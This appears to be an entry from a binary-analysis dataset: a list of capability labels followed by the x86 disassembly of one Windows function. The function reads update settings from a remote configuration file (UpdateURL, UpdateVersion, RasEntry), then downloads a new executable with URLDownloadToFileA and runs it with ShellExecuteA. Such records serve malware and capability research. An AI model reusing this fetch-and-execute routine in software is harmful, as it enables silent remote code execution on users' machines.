Function at 0x405a9e
Capabilities:
Create process on windows
Delete file
Download url
Get file size
Read file on windows
Receive data

Disassembly:
mov eax, 0x40d158
call fcn.00407bd0
sub esp, 0x23c
push ebx
mov ebx, ecx
push esi
push edi
lea ecx, [ebx + 0x36c]
call fcn.0040a063
test eax, eax
jne 0x405fb1
call fcn.0040861b
test eax, eax
je 0x405fb1
and byte [ebp - 0x1c0], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x1bf]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor edi, edi
lea ecx, [ebp - 0x1c0]
push edi
push edi
lea eax, [ebx + 0x150]
push 0x104
push ecx
push eax
push edi
call sub.urlmon.dll_URLDownloadToCacheFileA
test eax, eax
jne 0x405fb1
lea eax, [ebp - 0x248]
push edi
push eax
lea eax, [ebp - 0x1c0]
push eax
mov byte [ebp - 0x248], 0x88
call dword [sym.imp.KERNEL32.DLL_OpenFile]
cmp eax, 0xffffffff
mov dword [ebp - 0x18], eax
je 0x405fb1
push edi
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
cmp eax, 0xffffffff
mov dword [ebp - 0x14], eax
je 0x405fb1
inc eax
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x44], esi
push eax
push edi
push esi
call sub.MSVCRT.dll_memset
add esp, 0x10
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], edi
push edi
push eax
push dword [ebp - 0x14]
push esi
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x405fa1
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x2c]
and byte [eax + esi], 0
call fcn.00408d5c
and dword [ebp - 4], edi
lea ecx, [ebp - 0x3c]
call fcn.00408d5c
mov byte [ebp - 4], 1
mov edi, 0x411180
test esi, esi
je 0x405c23
push esi
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
jbe 0x405c23
cmp byte [esi], 0x3b
jne 0x405bcd
push edi
push esi
call sub.MSVCRT.dll_strstr
mov esi, eax
pop ecx
test esi, esi
pop ecx
je 0x405c23
inc esi
inc esi
jmp 0x405ba6
push esi
lea ecx, [ebp - 0x3c]
call fcn.00408f37
push edi
lea ecx, [ebp - 0x3c]
call fcn.004094c1
cmp eax, 0xffffffff
je 0x405c13
lea esi, [esi + eax + 2]
add eax, 2
push eax
lea eax, [ebp - 0x6c]
push eax
lea ecx, [ebp - 0x3c]
call fcn.0040907c
push eax
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 2
call fcn.00408f17
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 1
call fcn.00408e57
jmp 0x405c15
xor esi, esi
lea eax, [ebp - 0x3c]
lea ecx, [ebp - 0x2c]
push eax
call fcn.00408f65
jmp 0x405ba6
lea ecx, [ebx + 0x150]
call fcn.00407b6d
push edi
lea ecx, [ebp - 0x2c]
call fcn.00408f8b
mov esi, str.____t
lea eax, [ebp - 0x2c]
push esi
push 0x4114a4
push eax
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.DATA_FILE_VERSION
call fcn.00408de4
lea eax, [ebp - 0x9c]
mov ecx, ebx
push eax
call fcn.00405954
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 3
call fcn.00408ee3
push eax
call sub.MSVCRT.dll_atof
pop ecx
lea eax, [ebp - 0x2c]
fstp qword [ebx + 0x358]
push esi
push 0x4114a4
push eax
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.NEXTFILE
call fcn.00408de4
lea eax, [ebp - 0x5c]
mov ecx, ebx
push eax
call fcn.00405954
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 4
call fcn.00409217
lea ecx, [ebp - 0x5c]
call fcn.00408eca
test eax, eax
je 0x405ccd
lea ecx, [ebp - 0x5c]
call fcn.00408eb6
test eax, eax
je 0x405ce4
lea ecx, [ebp - 0x5c]
call fcn.00408ee3
push eax
lea eax, [ebx + 0x150]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push esi
lea eax, [ebp - 0x2c]
push edi
push eax
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.GetInfoInterval
call fcn.00408de4
lea eax, [ebp - 0x8c]
mov ecx, ebx
push eax
call fcn.00405954
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 5
call fcn.00408ee3
push eax
call sub.MSVCRT.dll_atol
imul eax, eax, 0x3e8
pop ecx
mov dword [ebx + 0x360], eax
mov dword [ebx + 0x368], eax
push esi
lea eax, [ebp - 0x2c]
push edi
push eax
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.UpdateURL
call fcn.00408de4
lea eax, [ebp - 0x7c]
mov ecx, ebx
push eax
call fcn.00405954
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 6
call fcn.00408ee3
push eax
lea eax, [ebx + 0x254]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
lea eax, [ebp - 0x2c]
pop ecx
push esi
push edi
push eax
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.UpdateVersion
call fcn.00408de4
lea eax, [ebp - 0xac]
mov ecx, ebx
push eax
call fcn.00405954
push esi
lea eax, [ebp - 0x2c]
push 0x4114a4
push eax
sub esp, 0x10
mov byte [ebp - 4], 7
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.RasEntry
call fcn.00408de4
lea eax, [ebp - 0xbc]
mov ecx, ebx
push eax
call fcn.00405954
lea ecx, [ebp - 0xbc]
mov byte [ebp - 4], 8
call fcn.00408ee3
push eax
mov ecx, ebx
call fcn.00407392
lea eax, [ebp - 0x40]
lea ecx, [ebx + 0x12c]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.00408ee3
push eax
call fcn.004085a2
add esp, 0xc
lea eax, [ebp - 0x48]
lea ecx, [ebp - 0xac]
push eax
lea eax, [ebp - 0x4c]
push eax
call fcn.00408ee3
push eax
call fcn.004085a2
mov eax, dword [ebp - 0x14]
add esp, 0xc
cmp eax, dword [ebp - 0x4c]
jne 0x405e27
mov eax, dword [ebp - 0x40]
cmp eax, dword [ebp - 0x48]
jae 0x405f32
lea ecx, [ebp - 0x7c]
call fcn.00408ee3
push eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
je 0x405f32
add ebx, 0xec
mov ecx, ebx
call fcn.00408ee3
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea eax, [ebp - 0x7c]
lea ecx, [ebp - 0x6c]
push eax
call fcn.00408d94
xor esi, esi
mov ecx, ebx
push esi
push esi
mov byte [ebp - 4], 9
call fcn.00408ee3
push eax
lea ecx, [ebp - 0x6c]
call fcn.00408ee3
push eax
push esi
call sub.urlmon.dll_URLDownloadToFileA
cmp eax, esi
jne 0x405f26
push 9
push esi
push str._noconnect
mov ecx, ebx
call fcn.00408ee3
push eax
push str.open
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 2
call dword [sym.imp.USER32.dll_PostQuitMessage]
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 8
call fcn.00408e57
lea ecx, [ebp - 0xbc]
mov byte [ebp - 4], 7
call fcn.00408e57
lea ecx, [ebp - 0xac]
mov byte [ebp - 4], 6
call fcn.00408e57
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 5
call fcn.00408e57
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 4
call fcn.00408e57
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 3
call fcn.00408e57
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 1
call fcn.00408e57
and byte [ebp - 4], 0
lea ecx, [ebp - 0x3c]
call fcn.00408e57
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c]
call fcn.00408e57
jmp 0x405fb1
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 8
call fcn.00408e57
lea ecx, [ebp - 0xbc]
mov byte [ebp - 4], 7
call fcn.00408e57
lea ecx, [ebp - 0xac]
mov byte [ebp - 4], 6
call fcn.00408e57
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 5
call fcn.00408e57
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 4
call fcn.00408e57
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 3
call fcn.00408e57
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 1
call fcn.00408e57
and byte [ebp - 4], 0
lea ecx, [ebp - 0x3c]
call fcn.00408e57
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c]
call fcn.00408e57
mov esi, dword [ebp - 0x44]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
xor eax, eax
mov dword fs:[0], ecx
pop ebx
leave
ret